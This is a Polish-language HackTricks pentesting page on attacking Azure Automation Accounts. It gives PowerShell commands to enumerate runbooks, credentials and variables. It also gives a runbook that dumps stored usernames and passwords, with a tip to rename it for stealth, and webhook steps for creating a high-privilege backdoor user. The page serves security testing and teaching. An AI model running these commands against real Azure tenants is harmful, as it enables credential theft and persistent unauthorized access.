Az - Automation Account

Support HackTricks

Basic Information

Z dokumentacji: Azure Automation dostarcza opartą na chmurze automatyzację, aktualizacje systemu operacyjnego i usługę konfiguracji, która wspiera spójną administrację w Twoich środowiskach Azure i nie-Azure. Obejmuje automatyzację procesów, zarządzanie konfiguracją, zarządzanie aktualizacjami, wspólne możliwości i heterogeniczne funkcje.

Są to jak "zaplanowane zadania" w Azure, które pozwalają na wykonywanie rzeczy (działań lub nawet skryptów) w celu zarządzania, sprawdzania i konfigurowania środowiska Azure.

Run As Account

Gdy używany jest Run as Account, tworzy aplikację Azure AD z certyfikatem samopodpisanym, tworzy principal usługi i przypisuje rolę Contributor dla konta w aktualnej subskrypcji (wiele uprawnień). Microsoft zaleca użycie Managed Identity dla konta automatyzacji.

To zostanie usunięte 30 września 2023 i zmienione na Managed Identities.

Runbooks & Jobs

Runbooks pozwalają na wykonywanie dowolnego kodu PowerShell. Może to być wykorzystane przez atakującego do kradzieży uprawnień przypisanego principal (jeśli istnieje). W kodzie Runbooks można również znaleźć wrażliwe informacje (takie jak dane uwierzytelniające).

Jeśli możesz czytać zadania, zrób to, ponieważ zawierają wynik uruchomienia (potencjalne wrażliwe informacje).

Przejdź do Automation Accounts --> <Select Automation Account> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

Runbook może być uruchamiany w kontenerze w Azure lub w Hybrid Worker (maszyna nie-Azure). Log Analytics Agent jest wdrażany na VM, aby zarejestrować go jako hybrydowego pracownika. Zadania hybrydowego pracownika są uruchamiane jako SYSTEM w Windows i jako konto nxautomation w Linux. Każdy Hybrid Worker jest zarejestrowany w Hybrid Worker Group.

Dlatego, jeśli możesz wybrać uruchomienie Runbook w Windows Hybrid Worker, wykonasz dowolne polecenia wewnątrz zewnętrznej maszyny jako System (fajna technika pivotowania).

Compromise State Configuration (SC)

Z dokumentacji: Azure Automation State Configuration to usługa zarządzania konfiguracją Azure, która pozwala na pisanie, zarządzanie i kompilowanie PowerShell Desired State Configuration (DSC) konfiguracji dla węzłów w dowolnej chmurze lub w lokalnym centrum danych. Usługa importuje również DSC Resources i przypisuje konfiguracje do docelowych węzłów, wszystko w chmurze. Możesz uzyskać dostęp do Azure Automation State Configuration w portalu Azure, wybierając State configuration (DSC) w sekcji Configuration Management.

Wrażliwe informacje mogą być znalezione w tych konfiguracjach.

RCE

Możliwe jest wykorzystanie SC do uruchamiania dowolnych skryptów na zarządzanych maszynach.

Enumeration

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Utwórz Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Ekstrahowanie poświadczeń i zmiennych zdefiniowanych w koncie automatyzacji za pomocą Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Możesz zrobić to samo, modyfikując istniejący Run Book, i z konsoli internetowej.

Kroki do Ustawienia Zautomatyzowanego Tworzenia Użytkownika o Wysokich Uprawnieniach

1. Zainicjuj Konto Automatyzacji

  • Wymagana Akcja: Utwórz nowe Konto Automatyzacji.

  • Specyficzne Ustawienie: Upewnij się, że "Utwórz konto Azure Run As" jest włączone.

2. Importuj i Ustaw Runbook

  • Źródło: Pobierz przykładowy runbook z MicroBurst GitHub Repository.

  • Wymagane Akcje:

  • Importuj runbook do Konta Automatyzacji.

  • Opublikuj runbook, aby był wykonywalny.

  • Dołącz webhook do runbooka, umożliwiając zewnętrzne wyzwalacze.

3. Skonfiguruj Moduł AzureAD

  • Wymagana Akcja: Dodaj moduł AzureAD do Konta Automatyzacji.

  • Dodatkowy Krok: Upewnij się, że wszystkie moduły Automatyzacji Azure są zaktualizowane do najnowszych wersji.

4. Przydzielanie Uprawnień

  • Role do Przydzielenia:

  • Administrator Użytkowników

  • Właściciel Subskrypcji

  • Cel: Przydziel te role do Konta Automatyzacji w celu uzyskania niezbędnych uprawnień.

5. Świadomość Potencjalnej Utraty Dostępu

  • Uwaga: Bądź świadomy, że skonfigurowanie takiej automatyzacji może prowadzić do utraty kontroli nad subskrypcją.

6. Wyzwól Tworzenie Użytkownika

  • Wyzwól webhook, aby utworzyć nowego użytkownika, wysyłając żądanie POST.

  • Użyj dostarczonego skryptu PowerShell, upewniając się, że zastępujesz $uri swoim rzeczywistym adresem URL webhooka i aktualizujesz $AccountInfo pożądanym nazwą użytkownika i hasłem.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

References

Wsparcie HackTricks

Last updated